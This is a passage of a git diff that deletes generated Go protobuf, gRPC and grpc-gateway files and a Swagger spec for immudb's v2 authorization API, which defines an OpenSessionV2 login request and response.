-// -//Unless required by applicable law or agreed to in writing, software -//distributed under the License is distributed on an "AS IS" BASIS, -//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -//See the License for the specific language governing permissions and -//limitations under the License. - -// Code generated by protoc-gen-go. DO NOT EDIT. -// versions: -// protoc-gen-go v1.28.0 -// protoc v3.12.4 -// source: authorizationschema.proto - -package authorizationschema - -import ( - _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" - _ "google.golang.org/genproto/googleapis/api/annotations" - protoreflect "google.golang.org/protobuf/reflect/protoreflect" - protoimpl "google.golang.org/protobuf/runtime/protoimpl" - reflect "reflect" - sync "sync" -) - -const ( - // Verify that this generated code is sufficiently up-to-date. - _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) - // Verify that runtime/protoimpl is sufficiently up-to-date. - _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) -) - -type OpenSessionRequestV2 struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Username string `protobuf:"bytes,1,opt,name=username,proto3" json:"username,omitempty"` - Password string `protobuf:"bytes,2,opt,name=password,proto3" json:"password,omitempty"` - Database string `protobuf:"bytes,3,opt,name=database,proto3" json:"database,omitempty"` -} - -func (x *OpenSessionRequestV2) Reset() { - *x = OpenSessionRequestV2{} - if protoimpl.UnsafeEnabled { - mi := &file_authorizationschema_proto_msgTypes[0] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *OpenSessionRequestV2) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*OpenSessionRequestV2) ProtoMessage() {} - -func (x *OpenSessionRequestV2) ProtoReflect() protoreflect.Message { - mi := &file_authorizationschema_proto_msgTypes[0] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use OpenSessionRequestV2.ProtoReflect.Descriptor instead. -func (*OpenSessionRequestV2) Descriptor() ([]byte, []int) { - return file_authorizationschema_proto_rawDescGZIP(), []int{0} -} - -func (x *OpenSessionRequestV2) GetUsername() string { - if x != nil { - return x.Username - } - return "" -} - -func (x *OpenSessionRequestV2) GetPassword() string { - if x != nil { - return x.Password - } - return "" -} - -func (x *OpenSessionRequestV2) GetDatabase() string { - if x != nil { - return x.Database - } - return "" -} - -type OpenSessionResponseV2 struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Token string `protobuf:"bytes,1,opt,name=token,proto3" json:"token,omitempty"` - ServerUUID string `protobuf:"bytes,2,opt,name=serverUUID,proto3" json:"serverUUID,omitempty"` - ExpirationTimestamp int32 `protobuf:"varint,3,opt,name=expirationTimestamp,proto3" json:"expirationTimestamp,omitempty"` - InactivityTimestamp int32 `protobuf:"varint,4,opt,name=inactivityTimestamp,proto3" json:"inactivityTimestamp,omitempty"` -} - -func (x *OpenSessionResponseV2) Reset() { - *x = OpenSessionResponseV2{} - if protoimpl.UnsafeEnabled { - mi := &file_authorizationschema_proto_msgTypes[1] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *OpenSessionResponseV2) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*OpenSessionResponseV2) ProtoMessage() {} - -func (x *OpenSessionResponseV2) ProtoReflect() protoreflect.Message { - mi := &file_authorizationschema_proto_msgTypes[1] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use OpenSessionResponseV2.ProtoReflect.Descriptor instead. -func (*OpenSessionResponseV2) Descriptor() ([]byte, []int) { - return file_authorizationschema_proto_rawDescGZIP(), []int{1} -} - -func (x *OpenSessionResponseV2) GetToken() string { - if x != nil { - return x.Token - } - return "" -} - -func (x *OpenSessionResponseV2) GetServerUUID() string { - if x != nil { - return x.ServerUUID - } - return "" -} - -func (x *OpenSessionResponseV2) GetExpirationTimestamp() int32 { - if x != nil { - return x.ExpirationTimestamp - } - return 0 -} - -func (x *OpenSessionResponseV2) GetInactivityTimestamp() int32 { - if x != nil { - return x.InactivityTimestamp - } - return 0 -} - -var File_authorizationschema_proto protoreflect.FileDescriptor - -var file_authorizationschema_proto_rawDesc = []byte{ - 0x0a, 0x19, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x1a, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, - 0x61, 0x70, 0x69, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x2d, 0x67, 0x65, - 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x22, 0x6a, 0x0a, 0x14, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x12, 0x1a, 0x0a, 0x08, 0x75, - 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, - 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, - 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, - 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, - 0xb1, 0x01, 0x0a, 0x15, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, - 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x12, - 0x1e, 0x0a, 0x0a, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0a, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x55, 0x55, 0x49, 0x44, 0x12, - 0x30, 0x0a, 0x13, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, - 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x13, 0x65, 0x78, - 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, - 0x70, 0x12, 0x30, 0x0a, 0x13, 0x69, 0x6e, 0x61, 0x63, 0x74, 0x69, 0x76, 0x69, 0x74, 0x79, 0x54, - 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x13, - 0x69, 0x6e, 0x61, 0x63, 0x74, 0x69, 0x76, 0x69, 0x74, 0x79, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, - 0x61, 0x6d, 0x70, 0x32, 0xc7, 0x01, 0x0a, 0x14, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0xae, 0x01, 0x0a, - 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x56, 0x32, 0x12, 0x30, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, - 0x1a, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, - 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, - 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x56, 0x32, 0x22, 0x38, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x22, 0x1b, 0x2f, 0x61, 0x75, - 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x70, 0x65, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, - 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x42, 0x6f, 0x5a, - 0x38, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, - 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, - 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x32, 0x12, 0x27, 0x0a, 0x12, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, - 0x76, 0x32, 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x62, 0x06, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, -} - -var ( - file_authorizationschema_proto_rawDescOnce sync.Once - file_authorizationschema_proto_rawDescData = file_authorizationschema_proto_rawDesc -) - -func file_authorizationschema_proto_rawDescGZIP() []byte { - file_authorizationschema_proto_rawDescOnce.Do(func() { - file_authorizationschema_proto_rawDescData = protoimpl.X.CompressGZIP(file_authorizationschema_proto_rawDescData) - }) - return file_authorizationschema_proto_rawDescData -} - -var file_authorizationschema_proto_msgTypes = make([]protoimpl.MessageInfo, 2) -var file_authorizationschema_proto_goTypes = []interface{}{ - (*OpenSessionRequestV2)(nil), // 0: immudb.authorizationschema.OpenSessionRequestV2 - (*OpenSessionResponseV2)(nil), // 1: immudb.authorizationschema.OpenSessionResponseV2 -} -var file_authorizationschema_proto_depIdxs = []int32{ - 0, // 0: immudb.authorizationschema.AuthorizationService.OpenSessionV2:input_type -> immudb.authorizationschema.OpenSessionRequestV2 - 1, // 1: immudb.authorizationschema.AuthorizationService.OpenSessionV2:output_type -> immudb.authorizationschema.OpenSessionResponseV2 - 1, // [1:2] is the sub-list for method output_type - 0, // [0:1] is the sub-list for method input_type - 0, // [0:0] is the sub-list for extension type_name - 0, // [0:0] is the sub-list for extension extendee - 0, // [0:0] is the sub-list for field type_name -} - -func init() { file_authorizationschema_proto_init() } -func file_authorizationschema_proto_init() { - if File_authorizationschema_proto != nil { - return - } - if !protoimpl.UnsafeEnabled { - file_authorizationschema_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*OpenSessionRequestV2); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_authorizationschema_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*OpenSessionResponseV2); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - } - type x struct{} - out := protoimpl.TypeBuilder{ - File: protoimpl.DescBuilder{ - GoPackagePath: reflect.TypeOf(x{}).PkgPath(), - RawDescriptor: file_authorizationschema_proto_rawDesc, - NumEnums: 0, - NumMessages: 2, - NumExtensions: 0, - NumServices: 1, - }, - GoTypes: file_authorizationschema_proto_goTypes, - DependencyIndexes: file_authorizationschema_proto_depIdxs, - MessageInfos: file_authorizationschema_proto_msgTypes, - }.Build() - File_authorizationschema_proto = out.File - file_authorizationschema_proto_rawDesc = nil - file_authorizationschema_proto_goTypes = nil - file_authorizationschema_proto_depIdxs = nil -} diff --git a/pkg/api/authorizationschema/authorizationschema.pb.gw.go b/pkg/api/authorizationschema/authorizationschema.pb.gw.go deleted file mode 100644 index 8ac4b08232..0000000000 --- a/pkg/api/authorizationschema/authorizationschema.pb.gw.go +++ /dev/null @@ -1,169 +0,0 @@ -// Code generated by protoc-gen-grpc-gateway. DO NOT EDIT. -// source: authorizationschema.proto - -/* -Package authorizationschema is a reverse proxy. - -It translates gRPC into RESTful JSON APIs. -*/ -package authorizationschema - -import ( - "context" - "io" - "net/http" - - "github.com/golang/protobuf/descriptor" - "github.com/golang/protobuf/proto" - "github.com/grpc-ecosystem/grpc-gateway/runtime" - "github.com/grpc-ecosystem/grpc-gateway/utilities" - "google.golang.org/grpc" - "google.golang.org/grpc/codes" - "google.golang.org/grpc/grpclog" - "google.golang.org/grpc/metadata" - "google.golang.org/grpc/status" -) - -// Suppress "imported and not used" errors -var _ codes.Code -var _ io.Reader -var _ status.Status -var _ = runtime.String -var _ = utilities.NewDoubleArray -var _ = descriptor.ForMessage -var _ = metadata.Join - -func request_AuthorizationService_OpenSessionV2_0(ctx context.Context, marshaler runtime.Marshaler, client AuthorizationServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq OpenSessionRequestV2 - var metadata runtime.ServerMetadata - - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) - } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := client.OpenSessionV2(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) - return msg, metadata, err - -} - -func local_request_AuthorizationService_OpenSessionV2_0(ctx context.Context, marshaler runtime.Marshaler, server AuthorizationServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq OpenSessionRequestV2 - var metadata runtime.ServerMetadata - - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) - } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := server.OpenSessionV2(ctx, &protoReq) - return msg, metadata, err - -} - -// RegisterAuthorizationServiceHandlerServer registers the http handlers for service AuthorizationService to "mux". -// UnaryRPC :call AuthorizationServiceServer directly. -// StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906. -// Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterAuthorizationServiceHandlerFromEndpoint instead. -func RegisterAuthorizationServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server AuthorizationServiceServer) error { - - mux.Handle("POST", pattern_AuthorizationService_OpenSessionV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - var stream runtime.ServerTransportStream - ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := local_request_AuthorizationService_OpenSessionV2_0(rctx, inboundMarshaler, server, req, pathParams) - md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_AuthorizationService_OpenSessionV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) - - return nil -} - -// RegisterAuthorizationServiceHandlerFromEndpoint is same as RegisterAuthorizationServiceHandler but -// automatically dials to "endpoint" and closes the connection when "ctx" gets done. -func RegisterAuthorizationServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) { - conn, err := grpc.Dial(endpoint, opts...) - if err != nil { - return err - } - defer func() { - if err != nil { - if cerr := conn.Close(); cerr != nil { - grpclog.Infof("Failed to close conn to %s: %v", endpoint, cerr) - } - return - } - go func() { - <-ctx.Done() - if cerr := conn.Close(); cerr != nil { - grpclog.Infof("Failed to close conn to %s: %v", endpoint, cerr) - } - }() - }() - - return RegisterAuthorizationServiceHandler(ctx, mux, conn) -} - -// RegisterAuthorizationServiceHandler registers the http handlers for service AuthorizationService to "mux". -// The handlers forward requests to the grpc endpoint over "conn". -func RegisterAuthorizationServiceHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error { - return RegisterAuthorizationServiceHandlerClient(ctx, mux, NewAuthorizationServiceClient(conn)) -} - -// RegisterAuthorizationServiceHandlerClient registers the http handlers for service AuthorizationService -// to "mux". The handlers forward requests to the grpc endpoint over the given implementation of "AuthorizationServiceClient". -// Note: the gRPC framework executes interceptors within the gRPC handler. If the passed in "AuthorizationServiceClient" -// doesn't go through the normal gRPC flow (creating a gRPC client etc.) then it will be up to the passed in -// "AuthorizationServiceClient" to call the correct interceptors. -func RegisterAuthorizationServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux, client AuthorizationServiceClient) error { - - mux.Handle("POST", pattern_AuthorizationService_OpenSessionV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := request_AuthorizationService_OpenSessionV2_0(rctx, inboundMarshaler, client, req, pathParams) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_AuthorizationService_OpenSessionV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) - - return nil -} - -var ( - pattern_AuthorizationService_OpenSessionV2_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"authorization", "session", "open"}, "", runtime.AssumeColonVerbOpt(true))) -) - -var ( - forward_AuthorizationService_OpenSessionV2_0 = runtime.ForwardResponseMessage -) diff --git a/pkg/api/authorizationschema/authorizationschema.swagger.json b/pkg/api/authorizationschema/authorizationschema.swagger.json deleted file mode 100644 index 717d0f8c0d..0000000000 --- a/pkg/api/authorizationschema/authorizationschema.swagger.json +++ /dev/null @@ -1,120 +0,0 @@ -{ - "swagger": "2.0", - "info": { - "title": "immudb REST API v2", - "description": "Authorization API", - "version": "version not set" - }, - "basePath": "/api/v2", - "consumes": [ - "application/json" - ], - "produces": [ - "application/json" - ], - "paths": { - "/authorization/session/open": { - "post": { - "operationId": "AuthorizationService_OpenSessionV2", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/authorizationschemaOpenSessionResponseV2" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/authorizationschemaOpenSessionRequestV2" - } - } - ], - "tags": [ - "authorization" - ] - } - } - }, - "definitions": { - "authorizationschemaOpenSessionRequestV2": { - "type": "object", - "properties": { - "username": { - "type": "string" - }, - "password": { - "type": "string" - }, - "database": { - "type": "string" - } - } - }, - "authorizationschemaOpenSessionResponseV2": { - "type": "object", - "properties": { - "token": { - "type": "string" - }, - "serverUUID": { - "type": "string" - }, - "expirationTimestamp": { - "type": "integer", - "format": "int32" - }, - "inactivityTimestamp": { - "type": "integer", - "format": "int32" - } - } - }, - "protobufAny": { - "type": "object", - "properties": { - "type_url": { - "type": "string", - "description": "A URL/resource name that uniquely identifies the type of the serialized\nprotocol buffer message. This string must contain at least\none \"/\" character. The last segment of the URL's path must represent\nthe fully qualified name of the type (as in\n`path/google.protobuf.Duration`). The name should be in a canonical form\n(e.g., leading \".\" is not accepted).\n\nIn practice, teams usually precompile into the binary all types that they\nexpect it to use in the context of Any. However, for URLs which use the\nscheme `http`, `https`, or no scheme, one can optionally set up a type\nserver that maps type URLs to message definitions as follows:\n\n* If no scheme is provided, `https` is assumed.\n* An HTTP GET on the URL must yield a [google.protobuf.Type][]\n value in binary format, or produce an error.\n* Applications are allowed to cache lookup results based on the\n URL, or have them precompiled into a binary to avoid any\n lookup. Therefore, binary compatibility needs to be preserved\n on changes to types. (Use versioned type names to manage\n breaking changes.)\n\nNote: this functionality is not currently available in the official\nprotobuf release, and it is not used for type URLs beginning with\ntype.googleapis.com.\n\nSchemes other than `http`, `https` (or the empty scheme) might be\nused with implementation specific semantics." - }, - "value": { - "type": "string", - "format": "byte", - "description": "Must be a valid serialized protocol buffer of the above specified type." - } - }, - "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\n Example 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\n Example 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := ptypes.MarshalAny(foo)\n ...\n foo := \u0026pb.Foo{}\n if err := ptypes.UnmarshalAny(any, foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n====\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" - }, - "runtimeError": { - "type": "object", - "properties": { - "error": { - "type": "string" - }, - "code": { - "type": "integer", - "format": "int32" - }, - "message": { - "type": "string" - }, - "details": { - "type": "array", - "items": { - "$ref": "#/definitions/protobufAny" - } - } - } - } - } -} diff --git a/pkg/api/authorizationschema/authorizationschema_grpc.pb.go b/pkg/api/authorizationschema/authorizationschema_grpc.pb.go deleted file mode 100644 index 0b0d31eb8a..0000000000 --- a/pkg/api/authorizationschema/authorizationschema_grpc.pb.go +++ /dev/null @@ -1,99 +0,0 @@ -// Code generated by protoc-gen-go-grpc. DO NOT EDIT. - -package authorizationschema - -import ( - context "context" - grpc "google.golang.org/grpc" - codes "google.golang.org/grpc/codes" - status "google.golang.org/grpc/status" -) - -// This is a compile-time assertion to ensure that this generated file -// is compatible with the grpc package it is being compiled against. -// Requires gRPC-Go v1.32.0 or later. -const _ = grpc.SupportPackageIsVersion7 - -// AuthorizationServiceClient is the client API for AuthorizationService service. -// -// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. -type AuthorizationServiceClient interface { - OpenSessionV2(ctx context.Context, in *OpenSessionRequestV2, opts ...grpc.CallOption) (*OpenSessionResponseV2, error) -} - -type authorizationServiceClient struct { - cc grpc.ClientConnInterface -} - -func NewAuthorizationServiceClient(cc grpc.ClientConnInterface) AuthorizationServiceClient { - return &authorizationServiceClient{cc} -} - -func (c *authorizationServiceClient) OpenSessionV2(ctx context.Context, in *OpenSessionRequestV2, opts ...grpc.CallOption) (*OpenSessionResponseV2, error) { - out := new(OpenSessionResponseV2) - err := c.cc.Invoke(ctx, "/immudb.authorizationschema.AuthorizationService/OpenSessionV2", in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - -// AuthorizationServiceServer is the server API for AuthorizationService service. -// All implementations should embed UnimplementedAuthorizationServiceServer -// for forward compatibility -type AuthorizationServiceServer interface { - OpenSessionV2(context.Context, *OpenSessionRequestV2) (*OpenSessionResponseV2, error) -} - -// UnimplementedAuthorizationServiceServer should be embedded to have forward compatible implementations. -type UnimplementedAuthorizationServiceServer struct { -} - -func (UnimplementedAuthorizationServiceServer) OpenSessionV2(context.Context, *OpenSessionRequestV2) (*OpenSessionResponseV2, error) { - return nil, status.Errorf(codes.Unimplemented, "method OpenSessionV2 not implemented") -} - -// UnsafeAuthorizationServiceServer may be embedded to opt out of forward compatibility for this service. -// Use of this interface is not recommended, as added methods to AuthorizationServiceServer will -// result in compilation errors. -type UnsafeAuthorizationServiceServer interface { - mustEmbedUnimplementedAuthorizationServiceServer() -} - -func RegisterAuthorizationServiceServer(s grpc.ServiceRegistrar, srv AuthorizationServiceServer) { - s.RegisterService(&AuthorizationService_ServiceDesc, srv) -} - -func _AuthorizationService_OpenSessionV2_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(OpenSessionRequestV2) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(AuthorizationServiceServer).OpenSessionV2(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: "/immudb.authorizationschema.AuthorizationService/OpenSessionV2", - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(AuthorizationServiceServer).OpenSessionV2(ctx, req.(*OpenSessionRequestV2)) - } - return interceptor(ctx, in, info, handler) -} - -// AuthorizationService_ServiceDesc is the grpc.ServiceDesc for AuthorizationService service. -// It's only intended for direct use with grpc.RegisterService, -// and not to be introspected or modified (even as a copy) -var AuthorizationService_ServiceDesc = grpc.ServiceDesc{ - ServiceName: "immudb.authorizationschema.AuthorizationService", - HandlerType: (*AuthorizationServiceServer)(nil), - Methods: []grpc.MethodDesc{ - { - MethodName: "OpenSessionV2", - 